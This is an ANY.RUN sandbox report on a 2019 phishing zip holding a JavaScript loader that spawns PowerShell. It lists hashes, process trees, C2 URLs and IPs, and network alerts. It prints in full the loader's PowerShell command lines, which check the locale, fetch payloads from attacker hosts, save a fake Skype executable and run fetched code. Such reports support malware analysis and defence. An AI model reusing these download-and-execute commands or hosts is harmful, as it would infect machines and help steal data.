analyze malware
  • Huge database of samples and IOCs
  • Custom VM setup
  • Unlimited submissions
  • Interactive approach
Sign up, it’s free
File name:

IT01879020517_PEC____716695.zip

Full analysis: https://app.any.run/tasks/89c3a077-499e-4874-bf8c-76d9d0dc846b
Verdict: Malicious activity
Threats:

A loader is malicious software that infiltrates devices to deliver malicious payloads. This malware is capable of infecting victims’ computers, analyzing their system information, and installing other types of threats, such as trojans or stealers. Criminals usually deliver loaders through phishing emails and links by relying on social engineering to trick users into downloading and running their executables. Loaders employ advanced evasion and persistence tactics to avoid detection.

Malware Trends Tracker     >>>
Analysis date: March 22, 2019, 14:09:14
OS: Windows 7 Professional Service Pack 1 (build: 7601, 32 bit)
Tags:
trojan
loader
Indicators:
MIME: application/octet-stream
File info: data
MD5:

16E1EB36D694E7977608A9A6D2F4AC9D

SHA1:

633A64F3B3FD150A42BD6FF181882299F9B07130

SHA256:

21B93EAC6865C638AA2C36F3963F2FADF3729BE4125EECCDA305B00D283F16B5

SSDEEP:

192:1p7Vmfn9ZnCAN/96w+fYsskkQskmHJQQGl0b6PQYP:1ppmf9lbruYF//HWX0i

ANY.RUN is an interactive service which provides full access to the guest system. Information in this report could be distorted by user actions and is provided for user acknowledgement as it is. ANY.RUN does not guarantee maliciousness or safety of the content.

  • MALICIOUS

    • Application was dropped or rewritten from another process

      • SkypeApp64.exe (PID: 2988)

    • Downloads executable files from the Internet

      • powershell.exe (PID: 1468)

    • Writes to a start menu file

      • powershell.exe (PID: 3540)

    • Connects to CnC server

      • powershell.exe (PID: 3540)

  • SUSPICIOUS

    • Executes PowerShell scripts

      • WScript.exe (PID: 1180)
      • WScript.exe (PID: 2680)

    • Creates files in the user directory

      • powershell.exe (PID: 2136)
      • powershell.exe (PID: 3540)
      • powershell.exe (PID: 1468)

    • Executes scripts

      • powershell.exe (PID: 2136)

    • Executable content was dropped or overwritten

      • powershell.exe (PID: 1468)

  • INFO

    • Dropped object may contain Bitcoin addresses

      • powershell.exe (PID: 3540)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
No Malware configuration.
No data.
screenshotscreenshotscreenshotscreenshot
All screenshots are available in the full report
All screenshots are available in the full report
Total processes
41
Monitored processes
7
Malicious processes
1
Suspicious processes
3

Behavior graph

Click at the process to see the details
start drop and start winrar.exe no specs wscript.exe no specs powershell.exe powershell.exe skypeapp64.exe wscript.exe no specs powershell.exe

Process information

PID
CMD
Path
Indicators
Parent process
1848"C:\Program Files\WinRAR\WinRAR.exe" "C:\Users\admin\AppData\Local\Temp\IT01879020517_PEC____716695.zip"C:\Program Files\WinRAR\WinRAR.exe—explorer.exe
User:
admin
Company:
Alexander Roshal
Integrity Level:
MEDIUM
Description:
WinRAR archiver
Version:
5.60.0
1180"C:\Windows\System32\WScript.exe" "C:\Users\admin\Desktop\Ordine cliente_3438_2019 0915_08495 xm.js" C:\Windows\System32\WScript.exe—explorer.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Microsoft ® Windows Based Script Host
Exit code:
0
Version:
5.8.7600.16385
2136"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" if( (Get-UICulture).Name -match 'RU|UA|BY|CN'){ exit; } $jdhjyiecffa = [System.IO.Path]::GetTempPath() + '\SearchI32.js'; ( New-Object System.Net.WebClient ).DownloadFile('http://cdn.zaczvk.pl/loadercrypt_823EF8A810513A4071485C36DDAD4CC3.php?vid=inj',$jdhjyiecffa); Start-Process $jdhjyiecffa;C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
WScript.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows PowerShell
Exit code:
0
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
1468"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" if( (Get-UICulture).Name -match 'RU|UA|BY|CN'){ exit; } $vgtfwgeeczgvuwhih = [System.IO.Path]::GetTempPath() +'\..' +'\' + 'SkypeApp64.exe'; ( New-Object System.Net.WebClient ).DownloadFile('http://cloud.kokoheadattorney.com/501?sgaju',$vgtfwgeeczgvuwhih); Start-Process $vgtfwgeeczgvuwhih;C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
WScript.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows PowerShell
Exit code:
0
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
2988"C:\Users\admin\AppData\Local\SkypeApp64.exe" C:\Users\admin\AppData\Local\SkypeApp64.exe
powershell.exe
User:
admin
Integrity Level:
MEDIUM
2680"C:\Windows\System32\WScript.exe" "C:\Users\admin\AppData\Local\Temp\SearchI32.js" C:\Windows\System32\WScript.exe—powershell.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Microsoft ® Windows Based Script Host
Exit code:
0
Version:
5.8.7600.16385
3540"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" if( (Get-UICulture).Name -match 'RU|UA|BY|CN'){ exit; } $tjdfvbazyaeyxsbywezzv = [System.IO.Path]::GetTempPath() + '\SearchI32.txt';$jjuxhjjyefhyaisz = ''; ( New-Object System.Net.WebClient ).DownloadFile('http://cdn.zaczvk.pl/crypt0DD1D2637FDB71097213D70B94E86930.php',$tjdfvbazyaeyxsbywezzv);;Get-Content $tjdfvbazyaeyxsbywezzv | Where-Object {$_ -match $regex} | ForEach-Object { $jjuxhjjyefhyaisz += $_ -replace '..(.)','$1'} ;Invoke-Expression -Command $jjuxhjjyefhyaisz;C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
WScript.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows PowerShell
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
Total events
1 837
Read events
1 628
Write events
0
Delete events
0

Modification events

No data
Executable files
1
Suspicious files
6
Text files
5
Unknown types
1

Dropped files

PID
Process
Filename
Type
1848WinRAR.exeC:\Users\admin\AppData\Local\Temp\Rar$DRa1848.28346\Ordine cliente_3438_2019 0915_08495.xm —
MD5:—
SHA256:—
1848WinRAR.exeC:\Users\admin\AppData\Local\Temp\Rar$DRa1848.28346\Ordine cliente_3438_2019 0915_08495 xm.js —
MD5:—
SHA256:—
2136powershell.exeC:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\U6WRODE4COSVPKXVA7O6.temp —
MD5:—
SHA256:—
1468powershell.exeC:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\J2RIAGF25DK4CNPTSL06.temp —
MD5:—
SHA256:—
3540powershell.exeC:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\RZMXTEFDYAG60JN557KJ.temp —
MD5:—
SHA256:—
2136powershell.exeC:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-msbinary
MD5:7100C9D54A32DFE02751A9E1BC41F804
SHA256:80122C0BA2B02BE359C80E807AC522D838DB909ED232DFD076AD9B65F7FE699C
3540powershell.exeC:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms~RFfcbc3.TMPbinary
MD5:7100C9D54A32DFE02751A9E1BC41F804
SHA256:80122C0BA2B02BE359C80E807AC522D838DB909ED232DFD076AD9B65F7FE699C
1468powershell.exeC:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-msbinary
MD5:7100C9D54A32DFE02751A9E1BC41F804
SHA256:80122C0BA2B02BE359C80E807AC522D838DB909ED232DFD076AD9B65F7FE699C
1468powershell.exeC:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms~RFfc328.TMPbinary
MD5:7100C9D54A32DFE02751A9E1BC41F804
SHA256:80122C0BA2B02BE359C80E807AC522D838DB909ED232DFD076AD9B65F7FE699C
3540powershell.exeC:\Users\admin\AppData\Local\Temp\SearchI32.txttext
MD5:B37F1E8A4FCA2B9DE490148FBA536198
SHA256:1E11281E0701B60512F237395A6E75BFCFCD526EB99803229B1C70B941578332
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
6
TCP/UDP connections
4
DNS requests
3
Threats
0

HTTP requests

PID
Process
Method
HTTP Code
IP
URL
CN
Type
Size
Reputation
3540
powershell.exe
GET
200
185.158.250.114:80
http://space.bajamelide.ch/?b=USER-PC_DELL_62f21c60&v=321.1&psver=2
NL
text
2 b
malicious
3540
powershell.exe
GET
200
185.158.250.114:80
http://cdn.zaczvk.pl/crypt0DD1D2637FDB71097213D70B94E86930.php
NL
text
19.3 Kb
malicious
3540
powershell.exe
GET
200
185.158.250.114:80
http://space.bajamelide.ch/?b=USER-PC_DELL_62f21c60&v=321.1&psver=2
NL
text
2 b
malicious
2136
powershell.exe
GET
200
185.158.250.114:80
http://cdn.zaczvk.pl/loadercrypt_823EF8A810513A4071485C36DDAD4CC3.php?vid=inj
NL
text
16.7 Kb
malicious
3540
powershell.exe
GET
200
185.158.250.114:80
http://space.bajamelide.ch/?b=USER-PC_DELL_62f21c60&v=321.1&psver=2
NL
text
2 b
malicious
1468
powershell.exe
GET
200
31.214.157.69:80
http://cloud.kokoheadattorney.com/501?sgaju
NL
executable
260 Kb
malicious
Download PCAP, analyze network streams, HTTP content and a lot more at the full report

Connections

PID
Process
IP
Domain
ASN
CN
Reputation
2136
powershell.exe
185.158.250.114:80
cdn.zaczvk.pl
M247 Ltd
NL
malicious
1468
powershell.exe
31.214.157.69:80
cloud.kokoheadattorney.com
easystores GmbH
NL
suspicious
3540
powershell.exe
185.158.250.114:80
cdn.zaczvk.pl
M247 Ltd
NL
malicious

DNS requests

Domain
IP
Reputation
cdn.zaczvk.pl
  • 185.158.250.114
unknown
cloud.kokoheadattorney.com
  • 31.214.157.69
malicious
space.bajamelide.ch
  • 185.158.250.114
malicious

Threats

PID
Process
Class
Message
1468
powershell.exe
Potential Corporate Privacy Violation
ET POLICY PE EXE or DLL Windows file download HTTP
1468
powershell.exe
A Network Trojan was detected
ET TROJAN Possible Windows executable sent when remote host claims to send a Text File
1468
powershell.exe
Potentially Bad Traffic
ET INFO Executable Retrieved With Minimal HTTP Headers - Potential Second Stage Download
3540
powershell.exe
A Network Trojan was detected
ET TROJAN Unk/JS.Downloader CnC Checkin
Process
Message
SkypeApp64.exe
MP3 file corrupted
Interactive malware hunting service ANY.RUN
© 2017-2024 ANY.RUN LLC. ALL RIGHTS RESERVED
ANY.RUN
Reports
IT01879020517_PEC____716695.zip